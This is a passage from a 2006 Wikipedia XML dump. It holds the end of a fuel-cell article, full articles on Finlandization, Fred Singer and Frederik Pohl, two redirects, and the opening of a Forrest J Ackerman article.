[[United Technologies]] ([[UTX]]) was the first company to manufacture fuel cells. In the 1960s the company provided NASA with fuel cells to generate electricity for the [[Apollo mission]]s. UTX's UTC Power subsidiary [http://www.utcpower.com] was the first company to manufacture and commercialize a large, stationary fuel cell system for use as a [[co-generation]] power plant in [[hospital]]s, [[universities]], and large [[office building]]s. UTC Power continues to market this fuel cell as the PureCell 200 [http://www.utcpower.com/fs/com/bin/fs_com_Page/0,5433,03100,00.html], a 200 kW system. UTC Power continues to be the sole supplier of fuel cells to NASA for use in space vehicles, having supplied the [[Apollo mission]]s and currently the [[space shuttle]], and is developing fuel cells for automobiles, buses, and cell phone towers. UTC Power claims to be &quot;the global leader in the development and production of fuel cell technology&quot; for both transportation and on-site power markets. In the [[automobile|automotive]] fuel cell market, UTC Power demonstrated the first fuel cell capable of starting under freezing conditions with its [[proton exchange membrane]] (PEM) automotive fuel cell. ''Note:'' UTC Power also uses the UTC Fuel Cells [http://www.utcfuelcells.com] name when referring to fuel cell products.

[[Image:DSCN1474.JPG|thumb|A fuel cell powered vehicle designed by [[General Motors]]]]

[[Ballard Power Systems]] is a major developer and manufacturer of the PEM fuel cells and claims to lead the world in [[automobile|automotive]] fuel cell technology. [[Ford Motor Company]] and [[DaimlerChrysler]] are major [[investor]]s in Ballard. In [[2003]], most automobile companies were customers of Ballard, with only [[General Motors]] and [[Toyota]] pursuing internal development of fuel cells for automotive use which broke up in 2005; in [[2004]] [[Nissan Motors|Nissan]] and [[Honda]] started similar research programs. GM apparently now teams with DaimlerChrysler and BMW [http://media.gm.com/servlet/GatewayServlet?target=http://image.emerald.gm.com/gmnews/viewpressreldetail.do?domain=137&amp;docid=18107].

[[Perth, Western Australia|Perth]] in Western Australia is also participating in the trial with three fuel cell powered buses now operating between Perth and the port city of [[Fremantle, Western Australia|Fremantle]]. The trial is to be extended to other Australian cities over the next three years.

[[Plug Power Inc.]] is a major player in the design, development and manufacture of PEM fuel cells for stationary applications, including products aimed at [[telecommunication]], prime power, and combined heat and power grid-tie([[Cogeneration|CHP]]) applications.

In late 2004, [[Mechanical Technology Inc.]]'s subsidiary, MTI MicroFuel Cells debuted its first Direct Methanol Fuel Cell (DMFC)[http://www.staff.ncl.ac.uk/p.a.christensen/dmfc1.htm] for commercial use. MTI's Mobion™ cord-free rechargeable power pack technology consists of a fuel cell which runs on 100% (neat) Methanol. MTI's Mobion line is being released in industrial, consumer, and military markets as a low-cost replacement for lithium-ion batteries.

== Advantages and disadvantages ==

=== Environmental effects ===

A common misconception among the public is that elemental hydrogen is a ''source'' of energy. This is not the case, hydrogen is not a primary source of energy: it is only an energy storage medium, and must be manufactured using energy from other sources.

The physical laws relating to the conservation of energy unfortunately create a situation where the energy needed to create the fuel in the first place may reduce the ultimate energy efficiency of the system to below that of the most efficient [[gasoline]] [[internal-combustion]] engines; this is especially true if the hydrogen has to be compressed to high pressures or liquified, as it does in automobile applications (the [[electrolysis]] of water is itself a rather inefficient process, usually requiring at least 50 % more electricity than the energy stored in the produced hydrogen.). However, even the most efficient internal-combustion engines are not very efficient in absolute terms; furthermore, gasoline is not a primary energy source, because crude oil has to be treated in a [[refinery]] to obtain gasoline.

As an alternative to electrolysis, hydrogen can be generated from [[methane]] (the primary component of [[natural gas]]) with approximately 80% efficiency, or with other [[hydrocarbon]]s to a varying degree of efficiency. The hydrocarbon-conversion method releases [[greenhouse gas]]es, but, since the production is concentrated in one facility, and not distributed on every single vehicle or utility, it is possible to separate the gases and dispose of them properly, for example by injecting them in an oil or gas reservoir. A CO&lt;sub&gt;2&lt;/sub&gt; injection project has been started by [[Norway|Norwegian]] company [[Statoil]] in the [[North Sea]], at the [[Sleipner]] field. [http://www.statoil.com/STATOILCOM/SVG00990.NSF?opendatabase&amp;lang=en&amp;artid=01A5A730136900A3412569B90069E947]

Other types of fuel cells do not face these problems, however. For example, [[biological fuel cell]]s take [[glucose]] and [[methanol]] from food scraps and convert it into hydrogen and food for the bacteria.

However, another environmental problem faced by all types of hydrogen fuel cells has been pointed out in a paper published in Science magazine by a group of [[Caltech]] scientists. They note that if hydrogen fuel cell usage becomes widespread enough to replace [[gasoline]] [[internal-combustion]] engines, small amounts of hydrogen leaking from storage containers and pipelines will have a detrimental impact on the Earth's [[ozone layer]]. However, their findings remain controversial, and their assumptions regarding the amount of hydrogen leaked have been disputed by industry officials.

Finally, roughly 50% of all electricity produced in the United States comes from coal. The problem is that coal is a relatively dirty energy source.  If electrolysis (a process that uses electricity) is used to create hydrogen using energy from power plants, it is essentially creating hydrogen fuel from coal.  Though the fuel cell itself will only emit heat and water as waste, the problem of pollution is still present at power plants.

===Fuel cell design issues===

To make fuel cells economically competitive, there are many practical problems to be overcome as well. Water management remains a key problem in Proton Exchange Membrane Fuel Cells or (PEMFCs) where the membrane must be hydrated, requiring water to be evaporated at precisely the same rate that it is produced. If water is evaporated too quickly, the membrane dries, resistance across it increases, and eventually it will crack, creating a gas &quot;short circuit&quot; where hydrogen and oxygen combine directly, generating heat that will damage the fuel cell. If the water is evaporated too slowly, the electrodes will flood, preventing the reactants from reaching the catalyst and stopping the reaction. Methods to dispose of the excess water are being developed by fuel cell companies. 

At the same time many other variables must be juggled, including temperature throughout the cell (which changes and can sometimes destroy a cell through thermal loading), reactant and product levels at various cells. Materials must be chosen to do various tasks which none fill completely. Durability and lifetime of the cells can be serious issues for some cells, low power densities for others. Putting all of these factors together hasn't been accomplished decisively yet, and remains the challenge.

In vehicle usage, many problems are amplified. For instance, cars must be required to start in any weather conditions a person can reasonably expect to encounter: about 80% of the world's car park is legally subject to the requirement of being able to start from sub-zero temperatures. Fuel cells have no difficulty operating in the hottest locations, but the coldest do present a problem. Honda's FCX was the first fuel cell powered vehicle to do so, but temperatures below -20 degrees Celsius still prohibit the fuel cell stack from starting.

===Fuel cell applications===
{{Seedetails|Hydrogen economy}}

Fuel cells are very useful as power sources in remote locations, such as spacecraft, remote weather stations, large parks, rural locations, and in certain military applications. A fuel cell system running on hydrogen can be compact, lightweight and has no major moving parts.

A near-term application is combined heat and power (CHP) for office buildings and factories. This type of system generates constant electric power (selling excess power back to the grid when it is not consumed), and at the same time produce hot air and water from the waste heat. [[Phosphoric-acid fuel cell]]s (PAFC) comprise the largest segment of existing CHP products worldwide and can provide combined efficiencies close to 80% (45-50% electric + remainder as thermal). The largest manufacturer of PAFC fuel cells is [[UTX|UTC Power]], a division of [[United Technologies Corporation]]. [[Molten-carbonate fuel cell]]s have also been installed in these applications, and [[Solid-oxide fuel cell]] prototypes exist.

Because fuel cells have a high cost per kilo[[watt]], and because their efficiency decreases with increasing power density, they are usually not considered for applications with high load variations. In particular, they are not suited for energy storage systems in small and medium scale. An electrolyzer and fuel cell would return less than 50 percent of the input energy (this is known as ''round-trip efficiency''), while a much cheaper [[lead-acid battery]] might return about 90 percent.

However, since electrolyzer systems do not store fuel, but rather rely on external storage units, they can be successfully applied in large-scale energy storage, rural areas being one example. In this case, batteries would have to be largely oversized to meet the storage demand, but fuel cells only need a larger storage unit (typically cheaper than an electrochemical device).

The use of fuel cells for cogeneration of electricity and hot water in households is a potential long-term application, with various pilot programs launched in 2005 across the industry.

===Hydrogen vehicles and refuelling===
{{seedetails|Hydrogen vehicle}}

The first hydrogen refueling station was opened in [[Reykjavík]], [[Iceland]] on April [[2003]]. This station serves three buses built by [[DaimlerChrysler]] that are in service in the [[public transport]] net of Reykjavík. The station produces the hydrogen it needs by itself, with an electrolysing unit (produced by [[Norsk Hydro]]), and does not need refilling: all that enters is electricity and water. [[Royal Dutch Shell|Shell]] is also a partner in the project. The station has no roof, in order to allow any leaked hydrogen to escape to the atmosphere.

There are numerous prototype or production cars and buses based on fuel cell technology being researched or manufactured. Research is ongoing at companies like BMW, Hyundai, and Nissan, among many others. However, a practical commercial automobile is not expected until at least 2010 according to the industry. There are, however, fuel cell-powered buses currently active or in production, such as a fleet of Thor buses with [[UTX|UTC Power]] fuel cells in California, operated by SunLine Transit Agency [http://www.utcpower.com/fs/com/bin/fs_com_Page/0,5433,03552,00.html].

Currently, a team of college students called [[Energy-Quest]] is planning to take a hydrogen fuel cell powered boat around the world (as well as other projects using efficient or renewable fuels). Their venture is called the ''Triton''.

[[Sodium boro hydride]] (NaBH&lt;sub&gt;4&lt;/sub&gt;) a chemical compound may hold future promise due to the ease at which hydrogen can be stored under normal atmospheric pressures in automobiles that have fuel cells.

&lt;!--
== Research &amp; Development ==

*'''2004'''
*'''2005'''
**August
***[[Georgia Institude of Technology]] reserachers use [[triazole]] to raise the operating temperature of [[Proton exchange membrane fuel cell|PEM]] fuel cells from below 100°C to over 120°C, claiming this will require less carbon-monoxide purification of the hydrogen fuel [http://www.gatech.edu/news-room/release.php?id=618 1]
**September
***[[University of Denmark]] scientists announced in September 2005 a method of storing hydrogen in the form of [[ammonia]] saturated into a salt tablet. They claim it will be an inexpensive and safe storage method.[http://www.fuelcelltoday.com/FuelCellToday/IndustryInformation/IndustryInformationExternal/NewsDisplayArticle/0,1602,6487,00.html 1]
--&gt;

== Suggested applications ==
* [[Base load power plant]]s 
* [[Mobile phone]] power
* [[Electric vehicle]]s
* [[Auxiliary power]] 
* Off-[[electric power transmission|grid]] power supply
* Portable [[electronics]]

==See also==
=== Types of fuel cells ===
* [[Alkaline fuel cell]]
* [[Biological fuel cell]]
* [[Sodium borohydride#Fuel cells|Direct borohydride fuel cell]]
* [[Direct-methanol fuel cell]]
* [[Formic acid fuel cell]]
* [[Molten-carbonate fuel cell]]
* [[Phosphoric-acid fuel cell]]
* [[Proton exchange membrane fuel cell|Proton-exchange fuel cell]]
* [[Reversible fuel cell]]
* [[Solid-oxide fuel cell]]
* [[Zinc fuel cell]] ('Air' fuel cell)

=== Related Technologies ===

* [[Hydrogen reformer]]

== External links ==
* [http://www.eere.energy.gov/hydrogenandfuelcells/fuelcells/fc_types.html US DOE EERE (Energy Efficiency and Renewable Energy) fuel cells page]
* [http://physicsweb.org/article/world/11/7/2 PhysicsWorld: Fuel cells]
* [http://www.wired.com/wired/archive/11.04/hydrogen_pr.html How Hydrogen Can Save America (Wired Magazine)]
* [http://www.hydrogentrade.com/fuel-cells/ Fuel cell basics]
* [http://science.howstuffworks.com/fuel-cell.htm How Stuff Works: Fuel Cells]
* [http://www.fuelcells.org Fuel-Cells.org] 
* [http://www.ballard.com/ Ballard Power Systems]
* [http://www.plugpower.com/ Plug Power Inc.]

{{Sustainability and energy development group}}

[[Category:Energy conversion]]
[[Category:Fuel cells|*]]
[[Category:Electrochemistry]]
[[Category:Alternative propulsion]]
[[Category:Alternative energy]]

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  </page>
  <page>
    <title>Finlandization</title>
    <id>11732</id>
    <revision>
      <id>33991147</id>
      <timestamp>2006-01-05T16:51:13Z</timestamp>
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        <ip>85.76.176.46</ip>
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      <comment>/* External links and references */</comment>
      <text xml:space="preserve">'''Finlandization''' ''(Finnlandisierung'' in [[German language|German]]) refers to the influence that one neighboring powerful country can have on the policies of a smaller nearby country. 

It is considered by some to be pejorative,  originating in [[West Germany|West German]] political debate of the [[1960s]] and [[1970s]]. As the term was used in Germany and other NATO countries, it expressed the process of turning into a [[neutral country]] which, although maintaining national [[sovereignty]], in foreign politics resolves not to challenge a more powerful neighbour. Commonly in reference to [[Finland]]'s policies vis-à-vis the [[Soviet Union]] during the [[Cold War]], but could refer to similar international relations, such as [[Denmark]]'s attitude toward Germany between [[1871]] and [[1940]].

== Origin and international usage ==
In Germany, the term was used mainly by proponents of closer adaptation to [[United States|US]] interests, chiefly [[Franz Josef Strauß]], but was initially coined in scholarly debate and made known by the German political scientists Walther Hallstein and Richard Löwenthal, reflecting feared effects of withdrawal of US troops from Germany. It came to be used in the debate of the [[NATO]] countries in response to [[Willy Brandt]]'s attempts to [[Ostpolitik|normalize relations with East Germany]], and the following widespread scepticism in Germany against NATO's [[Dual-Track Decision]]. Later, after the fall of the [[Soviet Union]], the term has been used in [[Finland]] for the [[post-1968 radicalization]] in the latter half of the [[Urho Kekkonen|Kekkonen era]].

== Finnish perception ==
In Finland the use (by others) of the term &quot;Finlandization&quot; was perceived as a brickbat stemming from an inability to understand the practicalities of how a small nation might hope to make a deal with a culturally and ideologically alien [[superpower]] without losing its [[sovereignty]]. Finland cut such a deal with [[Stalin]]'s government in the late [[1940s]], and it was largely respected by both parties &amp;mdash; and to the gain of both parties &amp;mdash; until the fall of the Soviet Union in [[1991]]. While the Finnish political and intellectual elite mostly understood the term to refer more to foreign policy problems of other countries, and meant mostly for domestic consumption in the speaker's own country, many ordinary Finns considered the term highly offensive.

=== Historical background ===
Finland's foreign politics before this deal had been varied: independence from [[Imperial Russia]] with support of [[German Empire|Imperial Germany]] in [[1917]]; participation in the [[Russian Civil War]] alongside the [[Entente]] [[1918]]&amp;ndash;[[1920]]; a non-ratified alliance with [[Poland]] in [[1922]]; association with the neutralist and [[democracy|democratic]] [[Scandinavia]]n countries in the [[1930s]] ended by the [[Winter War]] ([[1939]]); and finally in [[1940]] a rapprochement with [[Nazi Germany]], the only power able to protect Finland against the expansionist Soviet Union, leading to the [[Continuation War]] in [[1941]].

The [[Wehrmacht]]'s defeat in the [[Battle of Stalingrad]] led Finland to basically revert to its [[19th century]] traditions, which had been perceived as highly successful until the [[Russification of Finland]] [[1899]]&amp;ndash;[[1905]].
Finland's leaders realized that opposing the Soviets head-on was no longer feasible. No [[power (international)|international power]] was able to give the necessary support. Nazi Germany, Finland's chief supporter against Russia, was losing the war. Sweden was not big enough, and its leadership were wary of confronting Russia. The [[Western countries|western powers]] were allied with the Soviet Union. Thus Finland had to face its big neighbour on its own, without any greater power's protection.
As in the 19th century, Finland chose not challenge the Soviet Union's foreign policy, but exerted to keep its [[independence]].

=== The Paasikivi doctrine ===
After the [[Paris Peace Treaty]] ([[1947]]) Finland succeeded in retaining [[democracy]] and [[parliamentarism]] until the fall of the Soviet Union, despite the heavy political pressure on Finland's foreign and internal affairs by the Soviet Union. [[Foreign relations of Finland|Finland's foreign relations]] were guided by the [[Juho Kusti Paasikivi|Paasikivi]] doctrine, emphasizing the necessity to maintain a good and trusting relationship with the Soviet Union. To this end, Finland signed an [[Agreement of Friendship, Cooperation, and Mutual Assistance]] with the Soviet Union in April [[1948]]. Under this pact, Finland was obliged to resist armed attacks by &quot;Germany or its allies&quot; against Finland, or against the Soviet Union through Finland, and, if necessary, ask for Soviet military aid to do so. At the same time, the agreement recognized Finland's desire to remain outside [[Great Power|great-power]] conflicts, allowing the country to adopt a policy of [[neutral country|neutrality]] during the Cold War. Hence Finland did not participate in the [[Marshall Plan]] and took neutral positions on Soviet overseas initiatives. By keeping very cool relations to [[NATO]], and to western military powers in general, Finland could fend off Soviet preludes for affiliation to the [[Warsaw Pact]].

=== Self-censorship and excessive Soviet adaptation ===
However, from the political scene following the post-[[1968]] radicalization, the Soviet adaptation spread to the editors of [[mass media]], sparking strong forms of self-control, self-censorship and pro-Soviet attitudes. Most of the élite of media and politics shifted their attitudes to match the values that the Soviets were thought to favour and approve, developing into a self-imposed Finlandization that often is argued to have exceeded the Soviet expectations.

Civil servants, politicians and journalists accepted the practice that, if they cared about their careers, they did not talk about injustices such as the Soviets' assaults leading to the Winter War. But not only historical injustices were suppressed, also news about Soviet contemporary atrocities, as for instance the fate of [[Alexander Solzhenitsyn]], were sanitized in the name of maintaining a working relationship between Finland and the Soviet Union.

Only after the ascendancy of [[Mikhail Gorbachev]] to Soviet leadership in [[1985]] did mass media in Finland gradually begin to move closer to [[Western countries|Western]] standards of [[Freedom of the press|journalistic freedom]] without governmental pressure.

== Criticism ==

[[United States]] foreign policy experts consistently feared that [[Western Europe]] and [[Japan]] would be Finlandized, leading to a situation in which these key allies no longer automatically supported the United States against the Soviet Union. The theory of [[bandwagoning]] provided support for the idea that if the United States was not able to provide strong and credible support for the [[anticommunist]] positions of its allies, the [[NATO]] and the U.S.-Japan alliance could collapse.

Foreign policy scholars such as Eric Nordlinger have, however, argued that ''the fear of the possible &quot;Finlandization&quot; of Europe was always counterfactual. A vision of Finlandization in America's absence runs up squarely against the European states' long-standing communist antipathies and wariness of Moscow's peaceful wiles, valued national traditions and strong democratic institutions, as well as their size and economic wherewithal.''

Authorities on the [[foreign relations of Finland]] often argue that proponents of the term &quot;Finlandization&quot; persistently failed to recognize that Finland had achieved its negotiating position after successfully fending off military attacks of the Soviet Union in the [[Winter War]] ([[1939]]) and the [[Continuation War]] ([[1941]]). While the Soviets certainly didn't actively fear the Finns, those who were in charge of handling relations with Finland have since openly admitted that relations with Finland were handled with the same care that they would have handled relations with a super-power. Furthermore, if Finland had attempted to get a &quot;Finlandization&quot; deal in the [[1930s]] or [[1920s]], too soon after the Russian [[October Revolution]], the [[Civil War in Finland]] and the [[Russian Civil War]], it would likely have wound up like [[Latvia]], [[Estonia]], and [[Lithuania]].

== Trivia ==
Paraphrasing president Paasikivi, the Finnish [[political cartoonist]] [[Kari Suomalainen]] defined Finlandization as ''&quot;The art of bowing to the East so carefully that it could not be considered [[mooning]] the West.&quot;'' &lt;!-- in Finnish: &quot;kumartaa itään - pyllistää länteen&quot; Source: Filmed interview by Juho Gartz --&gt;

== See also ==
* [[Balkanization]]
* [[Middle-easternisation]]
* [[Mandatory Swedish]]
* [[Satellite state]]

== External links and references ==
* [http://www.loyno.edu/history/journal/1985-6/botticelli.htm ''Finland's Relations with the Soviet Union, 1940-1986''] by Peter Botticelli
* [http://www.finland.fi/finfo/english/after.html ''After the War: Finland's relations with the Soviet Union 1944 - 1991''] presented at the web site of the Finnish foreign ministry
* [http://www.enterstageright.com/archive/articles/0501balkanization.htm ''Three cheers for Balkanization!''] by Bruce Walker, re-evaluating the Finlandization concept
* [http://www.historycooperative.org/journals/ahr/105.1/br_158.html ''The Silenced Media: The Propaganda War between Russia and the West in Northern Europe''] - review by Jussi M. Hanhimäki of a book by Esko Salminen
* [http://www.halldor.demon.co.uk/estate.htm ''The Silent Estate?''] - review by David McDuff of the same book by Esko Salminen

[[Category:Politics]]
[[Category:History of Finland]]

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  </page>
  <page>
    <title>Fred Singer</title>
    <id>11734</id>
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      <text xml:space="preserve">'''Siegfried Frederick Singer''' (born [[September 27]],  [[1924]] in [[Vienna]]) is an atmospheric physicist. In 1959 he was selected as one of &quot;Ten Outstanding Young Men of the Nation&quot; by the U.S. Junior [[Chamber of Commerce]]. He was involved in designing on of the first instruments used in a satellite to measure [[ozone]] [http://www.sepp.org/misuse/stvincen.html].

He is President of [[SEPP|The Science &amp; Environmental Policy Project]], a non-profit policy research group disputing [[climate change]] and [[ozone depletion]] theory, which he founded in 1990. He is also Distinguished Research [[Professor]] at [[George Mason University]] and Professor Emeritus of environmental science at the [[University of Virginia]], and an Adjunct Fellow of &quot;Frontiers of Freedom&quot; [http://www.ff.org/about/staff.html].

He is known for his skeptical views about greenhouse gas induced [[global warming]]. Although he considers the observed increase in CO&lt;sub&gt;2&lt;/sub&gt; and CFCs to be [[anthropogenic]], he disagrees with [[IPCC]] conclusions about how much warming is to be expected. He is also skeptic on the connection between [[CFC]]s, [[ozone depletion]], [[ultraviolet radiation]] and [[skin cancer]]. Furthermore, Singer cited a  report of the  Congressional Research Service that supported the position of the [[tobacco industry]]. It attacked the US [[Environmental Protection Agency]] for their study about the cancer risks of passive smoking and called it &quot;[[junk science]]&quot;. [http://www.quit-smoking-stop.com/effects-of-second-hand-smoke.html], [http://www.tobaccoscam.ucsf.edu/pdf/9.6-JunkScience-Yach.pdf]. A nonsmoker himself, Singer serves on the Science Advisory Board of the [[American Council on Science and Health]] (ACSH), which strongly opposes smoking.

Environmentalists arguing against Singer's ideas say that he has a [[conflict of interest]], i.e., financial ties to oil companies [http://www.kwikpower.com/AREAS/GC/gc04.htm], [http://www.exxonsecrets.org/html/personfactsheet.php?id=1].

He holds a [[PhD]] in [[physics]] and is a fellow of the [[American Physical Society]]. The famous theoretical physicist [[John Archibald Wheeler]] was Singer's advisor.

Previous government and academic positions:
*Director of the Center for Atmospheric and Space Physics, University of Maryland (1953-62)
*Special advisor to President Eisenhower on space developments (1960) [4]
*First Director of the National Weather Satellite Service (1962-64)
*Founding Dean of the School of Environmental and Planetary Sciences, [[University of Miami]] (1964-67)
*Deputy Assistant Secretary for Water Quality and Research, U.S. Department of the Interior (1967- 70)
*Deputy Assistant Administrator for Policy, U.S. Environmental Protection Agency (1970-71)
*Professor of Environmental Sciences, University of Virginia (1971-94)
*Chief Scientist, U.S. Department of Transportation (1987- 89)

== External links ==
* [http://www.sepp.org/bios/singer/cvsfs.html Dr. Singer's professional background]
* [[SourceWatch]]: [http://www.disinfopedia.org/wiki.phtml?title=S._Fred_Singer S. Fred Singer]
* George Monbiot, The Guardian, May 10, 2005, [http://www.guardian.co.uk/comment/story/0,3604,1480279,00.html &quot;Junk science:David Bellamy's inaccurate and selective figures on glacier shrinkage are a boon to climate change deniers&quot;] (Bellamy's figures came ultimately from Singer but are contradicted by [[WGMS]])
* [http://www.sepp.org/NewSEPP/singer_interview.htm An interview with Dr. Singer, Feb 2001]
* [http://www.cato.org/pubs/regulation/reg13n1-singer.html Environmental Strategies with Uncertain Science], ''Regulation'' 13(1), Winter 1990
* ''Astronautics'' magazine, February 1960, quoted at [http://66.102.9.104/search?q=cache:7SbQAsojLy8J:www.presidentialufo.com/eisenhow5.htm google cache of: http://www.presidentialufo.8m.com/eisenhow5.htm] - article about possibility of base on [[Mars (planet)|Martian]] moon [[Phobos (moon)|Phobos]]

[[Category:1924 births|Singer, Fred]]
[[Category:Living people|Singer, Fred]]
[[Category:Global warming skeptics|Singer, Fred]]
[[Category:Climatologists|Singer, Fred]]</text>
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  </page>
  <page>
    <title>Frederik Pohl</title>
    <id>11736</id>
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      <text xml:space="preserve">:''This article is about the writer and editor. For the historian, see [[Frederick J. Pohl]].''

'''Frederik Pohl''' (born [[November 26]], [[1919]]) is an [[United States|American]] [[science fiction]] writer and editor who became a [[Damon Knight Memorial Grand Master Award|Nebula Grand Master]] in 1993. In early adulthood, Pohl lived in [[New York]] and was a member of the [[Futurians]] fan group. 

When he was a teenager, Pohl attended the prestigious [[Bronx High School of Science]], forming a lifelong friendship with fellow writer [[Isaac Asimov]].  But, this was during the [[Great Depression]], and Pohl had to drop out of school when he was fourteen, in order to get a job.

Pohl joined the [[United States Communist Party|Communist Party]] as a teenager.  But he was expelled from the Communist Party because more senior members of the Communist Party thought that his [[science fiction fandom]] risked corrupting youth.

Pohl has married several times. One of his wives was [[Judith Merril]], also an important figure in the world of science fiction. Pohl and Merril had some children.  He is currently married to science fiction editor and academic [[Elizabeth Ann Hull]].

He was a friend and collaborator with [[Cyril M. Kornbluth|C.M. Kornbluth]], co-authoring a number of short stories and several [[novel]]s, including a [[dystopia|dystopian]] [[satire]] of a world ruled by the advertising agencies, ''The Space Merchants''.  In addition to ''The Space Merchants'' (a.k.a., perhaps more wittily, ''The Merchants of Venus''), a number of his short stories were notable for a satirical look at consumerism and advertising in the [[1950s]] and [[1960s]]: ''The Wizard of Pung's Corner'', where flashy, overcomplex military hardware prove useless against farmers with shotguns, and ''The Tunnel Under the World'', where an entire community is held captive by advertising researchers (this one-line summary omits several plot twists). 

In the [[1970s]], Pohl made a comeback as a writer with novels like ''Man Plus'' and the ''[[Heechee]]'' series. He won back-to-back [[Nebula Awards|Nebula]] awards with ''Man Plus'' in 1976 and ''Gateway'', the first novel in the ''Heechee'' series, in 1977. ''Gateway'' also won the [[1978]] novel [[Hugo Award]]. Another notable late novel of his is ''Jem'' ([[1980]]). Pohl continues to write and had a new story, &quot;Generations&quot;, published as recently as September 2005.

From about [[1959]] until [[1969]], Pohl edited ''[[Galaxy science fiction|Galaxy]]'' magazine and its sister magazine ''[[If magazine|If]]'', winning the [[Hugo award|Hugo]] for ''If'' three years running. In the mid-1970s, he acquired and edited novels for [[Bantam Books]], published as &quot;Frederik Pohl Selections&quot;; the most notable were [[Samuel R. Delany]]'s ''[[Dhalgren]]'' and [[Joanna Russ]]'s ''[[The Female Man]]''.

==Works==
===Series===
* ''[[Heechee]]'':
** ''[[Gateway (novel)|Gateway]]'' (1976) (''winner of the [[Hugo award]] and [[Nebula award]]'')
** ''Beyond the Blue Event Horizon'' (1980)
** ''Heechee rendezvous'' (1985)
** ''Annals of the Heechee'' (1987)
** ''The Gateway Trip'' (1990)
** ''The Boy Who Would Live Forever: A Novel of Gateway'' (2004)

* ''[[Eschaton]]'':
**''The Other End of Time'' (1996)
**''The Siege of Eternity'' (1997)
**''The Far Shore of Time'' (1999)

* ''[[Saga of Cuckoo]]'' (with [[Jack Williamson]]):
**''[[Wall Around A Star]]'' (1975)
**''[[ Farthest Star]]'' (1983) [prequel]

* [[Starchild Trilogy]] (with Jack Williamson):
**''The Reefs of Space'' (1964)
**''Starchild'' (1965)
**''Rogue Star'' (1969)

* [[Space Merchants]]:
** ''The Space Merchants'' (1953) (with [[Cyril M. Kornbluth]])
** ''[[The Merchants War]]'' (1985)

===Novels===
* ''Search the Sky'' (1954) (with Cyril M. Kornbluth)
* ''Gladiator at Law'' (1955) (with Cyril M. Kornbluth)
* ''[[Slave Ship]]'' (1956)
* ''Wolfbane'' (1957) (with Cyril M. Kornbluth)
* ''[[Drunkard's Walk]]'' (1960)
* ''[[The Age of the Pussyfoot]]'' (1965)
* ''[[Man Plus]]'' (1975) (''Winner of [[Nebula award]]'')
* ''[[Jem (novel)|Jem]]'' (1980)
* ''[[The Cool War]]'' (1981)
* ''[[Starburst (novel)|Starburst]]'' (1982)
* ''[[The Years of the City]]'' (1984)
* ''[[The Coming of the Quantum Cats]]'' (1986)
* ''[[Chernobyl (novel)|Chernobyl]]'' (1987)
* ''[[Narabedla Inc.]]'' (1988)
* ''[[Homegoing]]'' (1989)
* ''[[The World at the End of Time]]'' (1990)
* ''[[O Pioneer!]]'' (1998)

===Collections===
* ''[[The Frederik Pohl Omnibus]]'' (1966)
* ''[[Day Million]]'' (1971)
* ''[[The Wonder Effect]]'' (1974) (with [[Cyril M. Kornbluth]])
* ''The Early Pohl'' (1976):
** 'Elegy for a Dead Planet: Luna,' 1937, (writing as Elton Andrews) [a poem, his first published piece]
** 'The Dweller in the Ice,' 1940, (writing as James MacCreigh)
** 'The King's Eye,' 1940, (writing as James MacCreigh)
** 'It's a Young World,' 1940, (writing as James MacCreigh)
** 'Daughters of Eternity,' 1940, (writing as James MacCreigh)
** 'Earth, Farewell!,' 1940, (writing as James MacCreigh)
** 'Conspiracy on Callisto,' 1943, (writing as James MacCreigh)
** 'Highwayman of the Void,' 1943, (writing under Dirk Wylie's name)
** 'Double-Cross,'  1943, (writing as James MacCreigh)
* ''[[Survival Kit]]'' (1979)
* ''[[The Man Who Ate the World]]'' (1979)
* ''Planets Three'', 1982 (a collection of 3 novellas written as James MacCreigh):
** 'Figurehead'
** 'Red Moon of Danger'
** 'Donovan Had a Dream'
* ''[[Platinum Pohl]]'' (2005)

===Autobiography===
''The Way the Future Was'' (1978)

===Non-Fiction===
* ''Practical Politics 1972'' (1971)
* ''Chasing Science: Science as Spectator Sport'' (2000)

Frederik Pohl has won four [[Hugo Award]]s. His works include not only science fiction but articles for ''[[Playboy]]'' and ''[[Family Circle]]''.

== External links ==
* {{isfdb name|id=Frederik_Pohl|name=Frederik Pohl}}

[[Category:1919 births|Pohl, Frederik]]
[[Category:Living people|Pohl, Frederik]]
[[Category:American writers|Pohl, Frederik]]
[[Category:Hugo Award winning authors|Pohl, Frederik]]
[[Category:Nebula Grand Masters|Pohl, Frederik]]
[[Category:Science fiction editors|Pohl, Frederik]]
[[Category:Science fiction writers|Pohl, Frederik]]
[[Category:Unitarians|Pohl, Frederik]]

[[bg:Фредерик Пол]]
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[[th:เฟรดเดอริก โพห์ล]]</text>
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  </page>
  <page>
    <title>Fundamental Theorem of Arithmetic</title>
    <id>11738</id>
    <revision>
      <id>15909464</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fundamental_theorem_of_arithmetic]]
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  </page>
  <page>
    <title>Fermat</title>
    <id>11739</id>
    <revision>
      <id>15909465</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Pierre_de_Fermat]]
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  </page>
  <page>
    <title>Forrest J. Ackerman</title>
    <id>11740</id>
    <revision>
      <id>41429761</id>
      <timestamp>2006-02-27T06:49:03Z</timestamp>
      <contributor>
        <ip>200.249.112.130</ip>
      </contributor>
      <text xml:space="preserve">'''Forrest J Ackerman''' (born [[November 24]], [[1916]] in [[Los Angeles, California]]) is a legendary [[science fiction fandom|science fiction fan]] and collector of [[science fiction]]-related memorabilia. Ackerman, known as &quot;Forry&quot; or &quot;4e&quot; or &quot;4SJ&quot;, was influential not only in the origination, organization, and spread of science fiction fandom, but he was also a key figure in the wider cultural acceptance of science fiction as a respectable literary, art and film genre.  Ackerman is also known as the editor-writer of the magazine ''[[Famous Monsters of Filmland]]'', as well as an occasional [[science fiction authors|author]], actor, producer (''[[Vampirella]]''), and literary agent.

== Career ==

Forrest J Ackerman (no period on the middle initial) or, &quot;Mr. Science Fiction,&quot; saw his first &quot;imagi-movie&quot; in 1922 (''One Glorious Day''), purchased his first sci-fi magazine, ''[[Amazing Stories]]'', in 1926, created The Boys' Scientifiction Club in 1930 (&quot;girl-fans were as rare as unicorn's horns in those days&quot;), contributed to the first [[fanzine]], ''The Time Traveller'', in 1932, and by 1933 had 127 correspondents around the world. He attended the [[1st World Science Fiction Convention]] in [[1939]] (where he wore the first &quot;futuristicostume&quot; which sparked fan costuming) and every [[Worldcon]] but two since.

